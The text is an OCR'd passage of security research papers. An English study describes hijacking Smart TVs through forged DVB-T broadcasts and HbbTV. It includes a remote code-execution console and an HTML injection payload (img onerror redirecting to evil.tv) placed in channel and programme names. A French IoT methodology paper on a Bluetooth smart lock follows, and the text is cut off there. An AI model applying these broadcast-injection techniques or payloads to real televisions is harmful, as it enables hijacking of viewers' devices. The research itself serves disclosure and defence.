|
& ] )
4 !
e ra
y

worymadu|

Tt I Ty
WD IR0

UCIENDO N
Al WELWS

Yy ¥ ¥Y
Y ¥ ¥ v%
YYY ¥ ¥

Fig. 5. Experimental setup



T. Claverie, J. Lopes Esteves, C. Kasmi 91

Figure 5 presents the architecture used to perform security tests on
Smart TVs. Conceptually, this is no different than a MitM attack on a
network interface, except that the protocols and the physical layers are not
the same. The role and tools used to implement the different components
of this setup are detailed.

Demodulation - Capturing a DVB-T stream is very well documented
on the Internet. A DVB-T receptor based on the RTL2832 chip has been
used, whose cost is ~15 €. On the software side, the program tzap [5] is
used to tune the receiver to the correct frequency while dvbsnoop [2] is
used to save it to a file. The result is a .ts file which contains the entire
Transport Stream.

Modification, Injection - The open-source tool suite OpenCaster [3]
from Avalpa has been used to modify and add content to the TS. Each
tool is specialised, but they usually take an input .ts file and output a
modified .ts file. From this suite, oc-update has been used to generate
an object carousel from a directory. The tool tsmodder can be used to
modify all packets with the given PIDs in a TS and replace them with
another content. This can be used to modify an existing AIT or carousel
inside a Transport Stream. The tool tscbrmuxer can be used to add new
packets with non-existant PIDs to a TS. This can be used for example
to add a completely new AIT to a channel. Also, the OpenCaster suite
provides a library to generate .ts files from DVB tables. Those can then
be used by the described tools to be added to the original T'S.

Modulation - The modulation takes a transport stream as input and
emits it in direction of a Smart TV. There are two approaches which can be
used to this end: either use specialised hardware or software-defined radio.
For this study, the DVB-T emitter UT-100C from HiDES has been used.
It is a cheap emitter (169 $) which was deemed suited for a laboratory
environment. Further possibilities for emission are studied and compared
in [23].

Smart TVs - Several models of Smart TVs, coming from leading
manufacturers have been used as test subjects in the experiments. Three
different models of Smart TVs were available, dating from 2014, 2015
and 2017. As a result, none of them implemented the protection of inter-
active application signalling and data.

In order to understand the DVB standards and to see how the tables
are used in practice, the program dvbsnoop allows to dump a specific
table in an understandable format. This is very helpful to understand
which modifications should be done to specific tables in order to get the
desired result.
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Using this setup, it is possible to start injecting malicious applications
into Smart TV and observe their behavior. In order to iterate among
experiments, two cases are to be considered: if the application is served
over broadband or over broadcast.

— With a broadcasted application, the object carousel must be changed
each time the application changes. This means stopping the emission,
repacking the modified application into the transport stream, rebooting
the TV for resetting the application executed, start the emission with
the new transport stream and navigate to the channel infected.

— With an application served over broadband, there is no need to modify
the transport stream. With the web server serving a malicious applica-
tion, it can be directly changed and the new application will be served.
The Smart TV must still be rebooted in order to load the new HbbTV
application.

The drawback of this way of doing is that televisions are not meant
to be turned off and on efficiently: loading a modified application takes
time in the span of tens of seconds (depends of the model under test).
This unnecessary waiting time greatly limits the number of experiments
that can be performed. An additional problem with Smart TVs is the
absence of debugging tools: the JavaScript console is not visible from the
HbbTV browser. The solution implemented to palliate these problems is
presented.

4.2 Using a JavaScript console for introspection

The DAE and HbbTV specifications have many elements and APIs, being
able to test them efficiently is valuable for studying the security of the
HbbTV environment of Smart TVs. To this end, a particular HbbTV
application was designed, which allows to iterate among experiments with
a much lower overhead than rebooting a Smart TV.

A reverse console has been implemented in order to ease the work
of introspection and debug of a Smart TV. Compared to the original
workflow which consists in reloading a full HbbTV application for each
experiment, this console uses a slave HbbTV application that is initially
loaded on televisions. This application communicates with a web server
and when a button of the remote is pushed, fetches new code to execute
it inside the HbbTV browser.

Figure 6 shows the look of the console running on a Smart TV. The
screen of the television is used to display information, including caught
exceptions. The full application relies on three components:
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— Slave - An HbbTV application to be signalled in a Transport Stream,
that will be executed by televisions. This handles remote control events
and communicates with the server to retrieve new code to execute. It
displays on the screen the results of an execution and posts them on
the server;

— Master - A client web application to be executed on the computer of
the operator. It allows to set new code to be executed and displays
the result of the execution that was returned by Slaves;

— Server - A web server application that works as intermediary between
the Master and the Slaves.

Fig. 6. Console running on a Smart TV; there is no international version of this
application

This architecture, depicted in figure 7, simplifies tests on the HbbTV
environment of Smart TVs, while being simple to operate. Compared

to rebooting Smart TVs between each test, it provides the following
advantages:

— Rather than carefully designing HbbTV applications and experiments
before attempting to execute them, this tool allows a direct interaction
with Smart TVs;

— Originally, executing an HbbTV application on a Smart TV yields
only a binary response: either it works or it does not. A Console API
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has been implemented into the slave application, which serves as a
feedback loop for the operator. This way, it is possible to have richer
information and much better debugging capabilities;

— It can run on several devices at the same time, which enables paral-
lelizing tests on several Smart TVs.

— It brings the possibility to execute existing .js files in the browser of the
television without having to embed them in an HbbTV application.

]
Slave
HbbTV app
PN
E
® ITIIIT o Master web

Slave
HbbTV app app

Slave
HbbTV app

—» HTTP request

Fig. 7. Architecture of the console application

This tool has been used to perform extensive introspection about
the HbbTV browser of the three Smart TVs at hand. In particular, this
allowed to observe the behavior of the HbbTV APIs and to understand
which functions were implemented or not. Being able to gather this sort of
information is valuable for a researcher as it permits to gain insight about
the inner working of the HbbTV browser of different platforms. This way,
one can quickly estimate the capabilities of a specific Smart TV and its
attack surface.

A short demonstration is available [11]. It presents the capabilities
of the console and a re-implementation of the Screen Hijacking attack.
There are regularly new vulnerabilities discovered which impact web
browsers and lots of exploits are readily available on the Internet. As the
console allows to take plain JavaScript files and to execute them remotely,
it can be used to quickly test for batches of known vulnerabilities in the
HbbTV browser. This could be used to automatically detect if a Smart
TV needs to be patched in light of a new vulnerability.
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The JavaScript console is a powerful tool which is meant to help
security researchers in their study of the security of Smart T'Vs. It provides
automation of tests and parallelization among devices which allows to
quickly gain valuable information about the HbbTV browser of several
Smart TVs. This has been used in order to study the models available
and to uncover several vulnerabilities which have been coordinatedly
disclosed to affected vendors. In particular, this console was used to

uncover a vulnerability which allows to bypass the protection designed in
the specification ETSI TS 102 809.

4.3 Exploiting a signed application with a DVB stream

As stated in section 4.1, none of the Smart TVs available for the tests do
implement the protection scheme described in ETSI TS 102 809. By hy-
pothesis, it is considered that those protections are perfectly implemented.
In addition, it is assumed that the shortcomings of this specification have
been mitigated according to the countermeasures developed in section 3.2.
As a result, it is not possible to modify the signalling and data of inter-
active applications. This section describes how it is possible to hijack a
legitimate HbbTV application using unprotected elements in the stream.

The DAE defines the Channel and Programme objects, which are
also included in the HbbTV specification. As their names suggests it, those
represent metadata about an actual channel and programme.

// The factory %s available in the global contezt
var videoBroadcast = oipfObjectFactory.createVideoBroadcastObject () ;
var channellist = videoBroadcast.getChannelConfig().channellist;

// Display the mame of each known channel

for (var i = 0; i < channellist.length; i++) {
Console.log("Channel " + i + " has name " + channelList.item(i).
name) ;
}

// Tune the wideo broadcast to the current channel
videoBroadcast .bindToCurrentChannel () ;

// Iterate through the programmes of this channel
for (var i = 0; i < videoBroadcast.programmes.length; i++) {

var programme = videoBroadcast.programmes.item(i);

// Display some information about the programme

Console.log("Programme " + programme.name) ;
Console.log("Short description " + programme.description) ;
Console.log("Long description " + programme.longDescription);
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If the above code is fed to the console application, all the channel
names and programmes will be displayed on the screen. Apart from the
Console.log calls which are defined by the application, all the other objects,
properties and methods are APIs defined by DAE and are available on all
tested models.

The problem here is that those APIs use elements that come straight
from the DVB stream. More specifically, information about the channels
like their name is taken from the SDT, while information about the
programmes are taken from the EIT. Those elements are not protected
in integrity inside the DVB stream, hence can be freely modified by an
attacker.

Table 1 presents the global outlook of the SDT. It is comprised of
several general properties, then a service (7.e. channel) loop which defines
each service, then finally a descriptor loop inside each defined service.
The name is defined in the descriptors of a service, either using a ser-
vice__descriptor or a multilingual__service_ name__descriptor.

Tables 2 and 3 show the structure of the descriptors as they are de-
fined in ETSI EN 300 468 [13] from the DVB standards. Using either
descriptor, the property service_name is used by Smart TVs to get
channel names. Those will be used as values for the name property
of the Channel class inside the HbbTV browser. The length of a de-
scriptor cannot exceed 257 bytes, hence the longest name that can be
inserted in a service__descriptor is 252-byte long, assuming an empty
service provider name. The longest name that can be input in a mul-
tilingual service_name__descriptor is 250 bytes-long, assuming a
single language and an empty service provider name. In practice, studied
Smart TVs truncated those values to 70 to 100 bytes, depending on the
model. Also, on two out of the three models available, it was observed that
the names were parsed from the SDT only during a channel scan. After
that, values stored in persistent memory were retrieved by the HbbTV
application, and not the ones being broadcasted.

Table 4 depicts the general structure of the EIT. It contains
several general properties, then a loop of events (i.e. programmes),
each event containing a descriptor loop. From the Programme
class, the properties name and description are retrieved from the
short__event__descriptor and the property longDescription is re-
trieved from the extended__event__descriptor.

Tables 5 and 6 show the structure of the EIT descriptors that can
be used to inject attacker-controlled data inside an HbbTV environment
through the Programme class. In the short__event__descriptor, the
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Syntax of the SDT No of bits
service_description_section() {
various properties... 88
for (i=0;i<services_loop_N;i++) {
service properties... 40
for (j=0;j<descriptor_loop_N;j++) {
descriptor() Variable
}
}
CRC 32
}
Table 1. Simplified structure of the SDT
Syntax of the descriptor No of bits
service_descriptor() {
descriptor_tag 8
descriptor_length 8
service_type 8
service_provider_name_length 8
for (i=0;i<name_length;i++) {
char 8
}
service_name_length 8
for (i=0;i<name_length;i++) {
char 8
}
}
Table 2. Structure of SDT’s service descriptor
Syntax of the descriptor No of bits
multilingual service_name_descriptor() {
descriptor_tag 8
descriptor_length 8
for (i=0;i<name_loop_N;i++) {
IS0_639_language_code 24
service_provider_name_length 8
for (i=0;i<name_length;i++) {
char 8
}
service_name_length 8
for (i=0;i<name_length;i++) {
char 8
}
}
}

Table 3. Structure of SDT’s multilingual service name descriptor
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event__name element is used as the name property and the text element
is used as the description property. The longDescription property
comes from the text element of the extended__event__descriptor.

Syntax of the EIT No of bits
event_information section() {
various properties... 112
for (i=0;i<event_loop_N;i++) {
event_id 16
start_time 40
duration 24
running_status 3
free_CA_mode 1
descriptor_loop_length 12
for (j=0;j<descriptor_loop_N;j++) {
descriptor() Variable
}
}
CRC 32
+

Table 4. Simplified structure of the EIT

Table 7 summarizes the properties of the classes Channel and Pro-
gramme which are populated from the DVB stream. Several elements are
mere identifiers limited in sizes, but textual fields are more interesting as
they allow for tens to hundreds of bytes. Considering a legitimate (hence
signed) application that would make use of those properties, this opens the
path for injections that come from unprotected elements in the stream.

In particular, the case of an application that would dynamically display
the channel list or the EPG has been considered. This means that those
elements were retrieved from the defined APIs and included in an HTML
context. Such an application has been developed as a proof of concept
of a vulnerable HbbTV application. It was successfull tested that it was
possible to redirect the television to another application by broadcasting
malicious channel names and programme names and descriptions. Those
tests validated the injection vectors described.

|<img src="1" onerror="location.href=&quot;https://evil.tv/&quot;" />

When set as a channel name, event name, short or long description,
the above excerpt of HTML effectively redirects all tested models on
the HbbT'V application hosted at https://evil.tv/. Even considering
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}

Syntax of the descriptor No of bits
short_event_descriptor() {

descriptor_tag 8
descriptor_length 8
IS0_639_language_code 24
event_name_length 8
for (i=0;i<name_length;i++) {

event_name_char 8
}
text_length 8
for (i=0;i<text_length;i++) {

text_char 8

Table 5. Structure of EIT’s short event descriptor

}

Syntax of the descriptor No of bits
extended_event_descriptor() {
descriptor_tag 8
descriptor_length 8
descriptor_number 4
last_descriptor_number 4
IS0_639_language_code 24
length_of_items 8
for (i=0;i<items_length;i++) {
item_description_length 8
for (i=0;i<description_length;i++) {
item_description_char 8
}
item_length 8
for (i=0;i<item_length;i++) {
item_char 8
}
}
text_length 8
for (i=0;i<text_length;i++) {
text_char 8

Table 6. Structure of EIT’s extended event descriptor
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the protections in place which prevent an attacker from modifying the
signalling and data of interactive applications, tests show that it is possible
to get an unsigned HbbTV application running on a Smart TV. Compared
to existing attacks, the prerequisites are more important because it is no
longer possible to broadcast malicious carousel objects, hence the television
must be connected to the Internet. Most of all, this proof-of-concept shows
that the existing protections in addition to those defined in 3.2 are not
sufficient to be completely protected from an attacker in control of the
DVB stream.

Class Property DVB element Max. size
Channel channelType — —
dsd — —
idType-nid — —
onid SDT>original__network__id 16 bits
tsid SDT>transport_ stream__id 16 bits
sid SDT>service_loop>service__id 16 bits
SDT>service_ loop>descriptor_loop>
service descriptor OR| 250/252
name

SDT>service_loop>descriptor_ loop>| bytes
multilingual__service_ name__descriptor

majorChannel — —
terminalChannel — —
Programme name EIT>eventiloop>'descr1ptoriloop> 250 bytes
short__event__descriptor
programmelD |EIT>event_ loop>event_ id 16 bits
programmelDType — —
.. EIT>event_ loop>descriptor_ loop>
description short__event__descriptor 250 bytes
.. EIT>event_ loop>descriptor_ loop>
longD — — 24
ongescription extended__event__descriptor 9 bytes
startTime EIT>event_ loop>start_ time 40 bits
duration EIT>event_ loop>duration 24 bits
channellD — (same as Channel.ccid) —
parentalRatings EIT>event_ loop>descriptor_ loop> 8 bits

parental_ratings_ descriptor
Table 7. Mapping between DAE classes and DVB tables

4.4 Impact and countermeasures

This vulnerability has no immediate impact at the time of the writing.
That’s because to the knowledge of the authors, there is currently no
model of Smart TV which implements the protection system defined in
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ETSI TS 102 809. As a result, all Smart TVs in Europe are still vulnerable
to the Exploit distribution attack. Yet, this shows another shortcoming
of this specification which does not efficiently prevent Smart TVs from
executing malicious HbbTV applications.

This vulnerability opens an interesting question about the respons-
ability of the several entities involved. Theoretically, neither the DVB
standards are vulnerable nor is the HbbTV specification. When taken
independently, the DVB standards (modulo the improvements) are secure
because they efficiently prevent an attacker from getting to the execution
of an interactive application on a Smart TV. The underlying assumption
is that other elements in the stream can do no harm even if controlled
by an attacker. When taken independently, the HbbTV specification is
secure because it assumes the security of the underlying broadcast net-
work, which is why applications which depend from the broadcast are
considered trusted: HbbTV (and DAE) is independent from the broadcast
and its APIs as well. However, when taken together problems arise because
security assumptions that both standards did are no longer valid.

With this in mind, there are different entities that can take efficient
countermeasures against this attack:

1. The DVB working group could extend the protection designed in ETSI
TS 102 809 to all elements in a Transport Stream as the TS being
unauthenticated is the root of all DVB attacks;

2. The HbbTV consortium could remove vulnerable APIs from the spec-
ification, such that no untrusted data can be used from within an
HbbTV application;

3. Smart TV manufacturers could escape all elements that they get from
the digital television stream before handling them, either internally or
passing them to the HbbTV browser;

4. Application developers could escape all elements that are retrieved from
the stream. However, this would require a precise list of APIs marked
as dangerous by either the manufacturer or the HbbTV specification;

5. It is also possible to maintain the status quo and keep the current
countermeasure which consists in disabling the execution of HbbTV
applications from the Smart TV menu. In that case, security falls into
the hands of individual users.

Each of those countermeasures would prevent the attack presented
here. However, the interest among security researchers in attacking Smart
TVs with the broadcast interface has just started. Though this study is
the first to depict attacking this interface with other elements than the
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AIT or the object carousel, this merely means that the vast majority of
the DVB standards have not met scrutiny from security researchers, not
that they are inherently secure.

On the contrary, the full range of DVB attacks are made possible
by the fact that there is no authentication of the stream. As a result,
authenticating every element inside a DVB stream would not only protect
against this attack, but also prevent all those that have not yet been
discovered and rely on this fact.

5 Synthesis

Smart TVs are becoming more and more deployed today. With their
numerous communication interfaces and capabilities, they are interesting
targets for an attacker. Be it for accessing a television’s internal data and
sensors or to use Smart TVs as an entry into local networks, Smart TVs
must be secured against those attacks.

Various security researchers have studied the security of those devices,
the global conclusion being that it is not satisfactory for such critical
devices. A specific attack vector has proven very problematic for Smart TVs:
the digital television signal. Radio-based attacks are extremely problematic
because they have the ability to affect many devices in a specific area while
being untraceable. On Smart TVs, these attacks can be used to remotely
execute interactive applications without need for user interaction. This has
led to multiple attacks being designed for this vector, which in two cases
ended up with the full compromise of a device using nothing but a crafted
radio signal. For years, the only countermeasure to this vulnerability was
to manually disable the execution of interactive applications on Smart
TVs.

On February, 2017 the DVB working group published a new version
of the specification ETSI TS 102 809 with the objective of preventing
an attacker in control of the DVB-T signal to get Smart TVs to execute
malicious interactive applications. This paper is the first to present and
discuss the security schemes designed. As a result, several problems with
the current specification have been detailed, namely that the implementa-
tion of this norm must be enforced without possibility for legacy behavior.
In addition, it should explicitely restrict interactive applications from
being loaded from insecure transport modes such as HTTP. Finally, there
is currently a safeguard procedure in the establishment of trust which
would allow an attacker to bypass the security brought by the extension,
simply with the broadcasting of a self-signed certificate: this safeguard
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must be removed and trust be managed by one or several trusted entities
specifically for this purpose.

Some experiments have been conducted on three models of Smart
TV. The test environment has been detailed for both the software and
hardware side. A tool meant to ease the work of security researchers and
improve their efficiency to study HbbTV-based attacks has been presented,
following the demonstration done in [11]. A practical use of this tool has
been provided as it helped discover a new kind of attack where it is possible
to bypass the security brought in ETSI TS 102 809 by injecting malicious
content in channel names and programme metadata. This proof-of-concept
shows that DVB is a very powerful attack vector, which is not limited to
interactive applications.

As software-defined radios become more powerful while cheaper and
with easily available specialised emitters for DVB-T, this shows that the
absence of authentication in a DVB stream poses huge security risks. As
a result, it is suggested to extend the security mechanisms designed in
ETSI TS 102 809 and the improvements presented in this paper to the
entirety of the DVB stream, instead of just AITs and object carousels.

The authors would like to thank Yannick Darriet and the Wireless
Security Lab for their major role in this study. Also, the authors would
like to thank the INSA de Rennes for their role in making this research
possible.

A Appendix: Previous work of Smart TVs

Several studies on the security of Smart TVs have been published so far.
The following have been determined to provide an accurate overview of
the landscape of attacks so far. Researchers have used various approaches
to get those results, ranging from black-box to a full white-box approach.
It is important to note that there are online communities committed
in reversing firmwares and rooting Smart TVs. The Samygo [4] forum
provides valuable information for rooting Samsung models. For example,
this forum provides modified firmwares which root the TV, or applications
to be installed with a developer account that will escalate privileges using
a local vulnerability.

In [7], an undisclosed vulnerability was used to access the internal
data of a Samsung Smart TV along with contents of a connected USB
flash drives. Also, the researchers showed that it was possible to connect
a software remote to the television, hence to further exploit the television
by installing malicious applications. Though not disclosed, it appears in
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the presentation that the entry point is a vulnerable service listening on
the local network.

After reversing the firmware of a Samsung television, authors of [21]
found several vulnerabilities in the way the application store fetched and
installed new applications. They used this vector to install a rootkit which
would listen and record every sound around to send it remotely. They
included a fake-off mode to prevent the Smart TV from being turned off
by remote control.

Smart TVs have a tendancy of running outdated software, which may
contain known vulnerabilities. In [10] the Smart TV studied was vulnerable
to CVE-2012-5958 in libupnp. It was possible to exploit this with crafted
Universal Plug and Play (UPnP) packets and to take control of the device
using a network access. The same approach has been used in [22] where
researchers have identified the version of the ffmpeg library and developed
an exploit using a known vulnerability for this version. In the end, rooting
the TV consisted in playing a file either from a local storage such as a
USB flash drive or from a media server.

In [18] it was put into light that LG Smart T'Vs sent viewing information
and USB filenames back to LG’s server over an Hypertext Transfer Protocol
(HTTP) connection. This poses privacy and confidentiality issues as those
information are open for man-in-the-middle attacks.

In [8] it was shown that a specific model of Philips Smart TV left
open a WiFi Direct access point with default credentials. After connection,
researchers further found a vlunerability in a service listening on the
network and successfully took over the television.

Smart TVs are also susceptible of being ransomed. In particular, An-
droid TVs are at risk because there already exist numerous strands of
ransomware for the Android OS. This is the observation made indepen-
dently in [12,31] where researchers showed that a known ransomware for
mobiles worked equally well on some Android TVs.

Samsung is maintaining its own operating system, Tizen, to be used
in its phones and Smart TVs. A researcher audited the code and found
40 vulnerabilities [25] in Tizen. Though the entire list is unknown, those
presented were heap overflow and the researcher created an exploit for one
of them, which resulted in a TV crash. However, it is suggested that with
more efforts, creating a reliable exploit for those vulnerabilities is possible.

In the line of operating system flaws, two security researchers presented
vulnerabilities found in webOS [19], which is in use by LG’s Smart T'Vs.
They found local privilege escalations which could be used by applications,
including a read and write access to the physical memory (/dev/mem).
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Résumé. L’Internet des Objets est en plein essor, avec toujours plus
de systémes connectés, malheureusement peu ou pas sécurisés pour la
plupart. De fait, les analystes sécurité sont de plus en plus mis a contribu-
tion afin d’évaluer la sécurité de ces systémes et de leurs environnements,
qui implique & la fois la sécurité des systemes d’information, la sécurité
des applications et bien siir la sécurité matérielle. L’omniprésence des
objets connectés a amené bon nombre de pentesters a analyser des sys-
témes embarqués, reposant pour la plupart sur un systéme GNU /Linux
minimaliste, et a « popper » des consoles sur ces derniers en exploitant
des vulnérabilités. Cependant, tous les systémes connectés ne reposent
pas sur un systéme d’exploitation GNU/Linux, comme nous allons le
démontrer dans ’exemple servant de fil conducteur a cet article.

Cet article propose des éléments de méthodologie pour ’analyse de sécurité
de systémes connectés, partant du circuit imprimé et ses composants a la
recherche de vulnérabilités et ’exploitation de ces derniéres, explicités au
travers de 1’étude d’une serrure connectée Bluetooth Low Energy. Nous
abordons aussi les différents outils opensource permettant de simplifier les
analyses des circuits et communications relatives aux objets connectés.

1 Etat de lart

[’analyse de systemes connectés doit, a I'instar du test d’intrusion classique,
étre réalisée en suivant une méthodologie et en utilisant des outils reconnus.
Plusieurs organismes et sociétés ont élaboré et publié leur approche, leurs
visions et leurs méthodologies d’évaluation de la sécurité des objets et
systémes connectés, tels que 'OWASP, Rapid7 et bien d’autres.

1.1 OWASP IoT Project

L’OWASP a démarré son projet IoT (OWASP IoT Project [8]) en 2015,
lequel recense actuellement les surfaces d’attaque relatives a I'Internet des
Objets [12], les vulnérabilités affectant les objets et systémes connectés [11],
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et un brouillon de guide de test des objets et systémes connectés [9]. C'est
un projet actif qui a produit des documents de travail, mais il n’y a a
ce jour aucun guide finalisé ni de description technique des méthodes
d’évaluation et des outils associés. Par contre, 'OWASP IoT Project a
déja publié un « top 10 » des vulnérabilités impactant la sécurité des
objets et systémes connectés [10].

1.2 Rapid7

La société Rapid7, bien connue pour son logiciel de test d’intrusion
MetaSploit, s’est lancée depuis plusieurs années dans l'analyse d’ob-
jets et systemes connectés. Rapid7 a ainsi publié une méthodologie en
8 étapes [15], détaillant une approche prenant en compte ’écosysteme
d’un objet connecté, de I’équipement a l'infonuagique sans oublier les
différentes applications fournies aux utilisateurs. Cette méthodologie est
sommaire, mais propose une série d’étapes pertinentes dans le contexte de
I’évaluation de la sécurité d’un systeme connecté. Cependant, elle n’integre
rien sur la mise en ceuvre de cette méthodologie, ni sur les outils adéquats.

1.3 Autres approches et méthodologies

Bien d’autres sociétés et communautés ont publié leurs approches et leurs
méthodologies, comme Deloitte [1] ou Pentest Partners [13]. Cependant,
elles sont loin de couvrir la surface d’attaque propre a I'Internet des Objets,
et pour certaines ne proposent pas de méthodologie formelle.

2 Meéthodologie proposée

La méthodologie proposée dans cet article est proche de celle publi¢e
par Rapid7, mais ne couvre volontairement pas l'intégralité de la surface
d’attaque telle qu’identifiée par I’OWASP IoT Project. En effet, une bonne
partie de cette derniere est inspirée des méthodologies de test de sécurité
des applications web et mobiles, ainsi que de I'analyse de communications
réseau sur des protocoles connus de la plupart des auditeurs sécurité. Les
méthodologies classiques couvrent déja ces différentes surfaces d’attaque.

Nous proposons ainsi une approche technique centrée sur ’objet testé,
ainsi que sur les applications interagissant avec de dernier, et bien str les
différents protocoles de communication supportés par I’objet lui-méme :

1. Analyse fonctionnelle de I’équipement a tester
2. Recherche de vulnérabilités matérielles
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Rétro-ingénierie de circuits imprimés
Collecte et désassemblage des micro-logiciels
Recherche de vulnérabilités logicielles
Analyse des communications de ’équipement

AR AN

Afin d’illustrer cette méthodologie, nous I'appliquerons sur une serrure
connectée du commerce, présentée figure 1. Nous présenterons par ailleurs
les différents outils et techniques utilisés lors de 'analyse de cette serrure.

Fig. 1. Serrure connectée a tester

2.1 Analyse fonctionnelle de I’équipement a tester

L’analyse fonctionnelle consiste a évaluer les fonctionnalités d’un systeme
connecté, composé a minima : d’'un objet connecté, d’'un équipement
permettant a cet objet connecté d’accéder a Internet (passerelle), et d'un
service web hébergé dans le Cloud. Les objectifs de cette analyse sont
multiples :

— déterminer les technologies utilisées par un ou plusieurs équipements ;
— déterminer les allégations de sécurité du fournisseur (présence et type
de chiffrement, mécanismes de protection utilisés, tragabilité, etc.) ;

— déterminer 'usage légitime d’un systeme connecté, ses fonctions, son

role.

Les sources d’information utiles a cette analyse peuvent étre (mais la liste
n’est pas exhaustive) :

— le site Internet du fournisseur du systéme connecté;
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— la documentation remise a l'utilisateur (manuel d’utilisation, fiche de
démarrage rapide, etc.) ;
— l’emballage du systeme connecté.

2.2 Recherche de vulnérabilités matérielles

La recherche de vulnérabilités matérielles consiste a évaluer la maniere
dont le systeme connecté a été pensé et congu, d’un point de vue mécanique
et électronique.

D’un point de vue mécanique, nous cherchons en particulier des ma-
niéres permettant de contourner des protections afin de réaliser des actions
malveillantes. Cela peut comprendre mais n’est pas limité a :

— D’évaluation de la résistance de pieces mécaniques au forgage (ouverture
de boitier, action sur des pieces mécaniques devant étre immobiles) ;

— l'identification de faiblesses dans Iinterface électromécanique (moteur
mal positionné pouvant étre actionné avec un aimant suffisamment
fort par exemple).

D’un point de vue électronique, nous cherchons a déterminer s’il existe
des moyens de modifier I’état du systeme connecté, en vérifiant :

— que des contacts entre points de tests ou broches proches ne déclenchent
pas des actions indésirables (remise a zéro, déclenchement d’un action-
neur, etc.) ;

— que des éléments électroniques accessibles ne puissent pas étre utilisés
pour attaquer le systéme (ports USB, moteurs, etc.).

2.3 Rétro-ingénierie de circuits imprimés

Cette analyse consiste a retrouver le schéma électronique ainsi que les
différentes connexions de ce dernier a de potentiels actionneurs et capteurs
afin de déterminer :

— ’emplacement des éventuelles interfaces de programmation et de dé-
bogage ;

— les différents composants présents sur le ou les circuits et leurs inter-
connexions ;

— les protocoles utilisés pour la communication entre composants ;

— les fonctionnalités fournies par ces composants et leur compatibilité
avec les fonctions de sécurité identifiées lors de ’analyse fonctionnelle.

Nous nous basons principalement sur des techniques non-destructrices
(photographie, test de continuité), mais pouvons avoir recours dans certains
cas a des techniques altérant le circuit imprimé afin d’avoir un schéma le
plus clair et précis possible.
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2.4 Collecte et désassemblage de micro-logiciels

La collecte de I’ensemble des données et micrologiciels stockés sur les
différents composants identifiés est effectuée, en exploitant au maximum
les interfaces de débogage et de programmation précédemment identifiées.
L’identification des composants permet de déterminer ces emplacements
ainsi que la taille des données disponibles.

On peut aussi collecter ces informations en exploitant des sources
d’information tierces, comme des services web ou des applications mobiles.

2.5 Recherche de vulnérabilités logicielles

La recherche de vulnérabilités logicielles est effectuée a partir des différents
logiciels et données précédemment récupérées, via une analyse poussée
et un désassemblage a l'aide d’outils adaptés comme IDA Pro ou JEB.
La recherche de vulnérabilités est affinée en fonction des technologies et
composants utilisés et des fonctions identifiées.

L’utilisation d’analyse et de désobfuscation de code, de fuzzing et de
débogage peuvent faciliter la tache.

2.6 Analyse des communications de 1’équipement

Enfin, I'analyse des communications permet de déterminer les mesures de
sécurité implémentées et leur efficacité, ainsi que la recherche de vulnéra-
bilités relatives a ces moyens de communication. Il est souvent nécessaire
de capturer et rejouer ces communications, d’identifier de possibles vulné-
rabilités ou faiblesses, et de les exploiter afin de déterminer leur impact.

Ces analyses reposent pour la majeure partie sur l'utilisation d’équi-
pements de radio logicielle (SDR), ainsi que sur des matériels propres
a chaque technologie. En effet, ces derniers sont tres efficaces bien que
limités a une technologie de communication précise, mais aussi abordables
pour des attaquants motivés.

3 Présentation de la serrure connectée

La serrure connectée étudiée dans notre contexte est une serrure compatible
Bluetooth Low Energy, vendue comme une serrure secured by design. En
effet, ses concepteurs ont sollicité les futurs acheteurs afin de déterminer
leurs attentes d’un point de vue sécurité, afin de les implémenter dans
leur prototype puis dans le produit final.
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La serrure se présente comme la grande majorité de ses consceurs,
c’est-a-dire sous forme de module qui vient remplacer le cylindre en place
sur une porte.

Une application pour smartphone permet de la piloter, avec et sans
acces Internet. Comme toute serrure connectée du marché, elle permet
aussi de créer et partager des clés virtuelles permettant d’actionner la
serrure, avec de possibles restrictions de date et d’horaire.

4 Analyse fonctionnelle

Avant d’entamer toute analyse technique, il est intéressant de faire le
point sur les informations a disposition concernant un équipement donné.
Cela passe par la consultation de la documentation disponible, du site
Internet du fabricant, et bien siir des boites d’emballage des équipements
concernés. Nous recherchons tout particulierement des mentions relatives
a la sécurité ainsi qu’aux technologies employées.

4.1 Analyse de la boite de la serrure

La boite de la serrure possede un logo Bluetooth placé entre la serrure et
un smartphone, ce qui indiquerait que la technologie employée est soit du
Bluetooth classique ou du Bluetooth Low Energy. Cependant, 'autonomie
annoncée de cette serrure est de 18 mois sur une porte 3 points, a raison de
10 ouvertures par jour. Cette autonomie ne peut étre atteinte qu’avec une
technologie basse consommation, il est donc fort probable que ce soit la
technologie Bluetooth Low Energy qui ait été retenue par les concepteurs.

Nous retrouvons par ailleurs les logos des magasins d’application
Android et Apple, qui nous indiquent clairement qu’une application a
destination des smartphones et tablettes est disponible sur ces deux
systemes.

4.2 Analyse du site du fabricant

Le site du fabricant fait mention de mécanismes de sécurité, et « une
labellisation serait en cours sur les algorithmes de chiffrement sécurisés »
(la formulation a été changée pour ne pas dévoiler la marque de la serrure).

4.3 Analyse de la documentation

La serrure requiert I'installation d’'une application mobile pour étre confi-
gurée, ainsi que la création d’un compte sur un service fourni par le
fabricant de la serrure. La documentation assure que :
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— la serrure peut étre pilotée sans avoir de connexion Internet sur le
smartphone ;

— le micro-logiciel de la serrure peut étre mis a jour grace au smartphone;

— T'utilisateur peut générer des clés numériques pour donner acces a la
serrure a une tierce personne possédant I'application ;

— les aspects sécurité ont été pensés en discussion avec la communauté
des utilisateurs.

On peut donc vraisemblablement s’attendre a trouver des mécanismes de
sécurité robustes. Le fait de permettre la mise a jour du micro-logiciel de
la serrure est déja un point positif.

5 Recherche de vulnérabilités matérielles

5.1 Démontage et acces aux circuits électroniques

Toute analyse matérielle débute par le démontage en regle de I’équipe-
ment a analyser. Ce démontage nécessite des outils adaptés, permettant
d’accéder plus facilement au(x) circuit(s) électronique(s). Un kit d’outils
d’ouverture de boitier peut étre un plus, composés de diverses spatules
en plastique tres utiles pour s’attaquer aux clips et se faufiler dans les
rainures.

5.2 Analyse de la structure mécanique

La serrure effectue les opérations d’ouverture et la fermeture a ’aide d’un
moteur muni d’un réducteur. La serrure étant placée a l'intérieur du coté
intérieur de la porte, aucun acces physique n’est possible. Le cylindre
utilisé par le fabricant est un systeme haute sécurité de chez Pollux.

5.3 Analyse des éléments électroniques accessibles

Du coté de I’électronique, 1’élément principalement accessible est le port
USB qui ne sert qu’a la recharge de ’équipement. Nous pouvons toutefois
remarquer 'absence de fusible de protection, que 'on trouve généralement
dans ce type d’équipement afin de protéger 1’électronique. Il est ainsi
possible de faire une attaque par déni de service en envoyant une tension
élevée via le connecteur USB.

Le moteur n’est pas directement accessible et ne peut donc pas étre
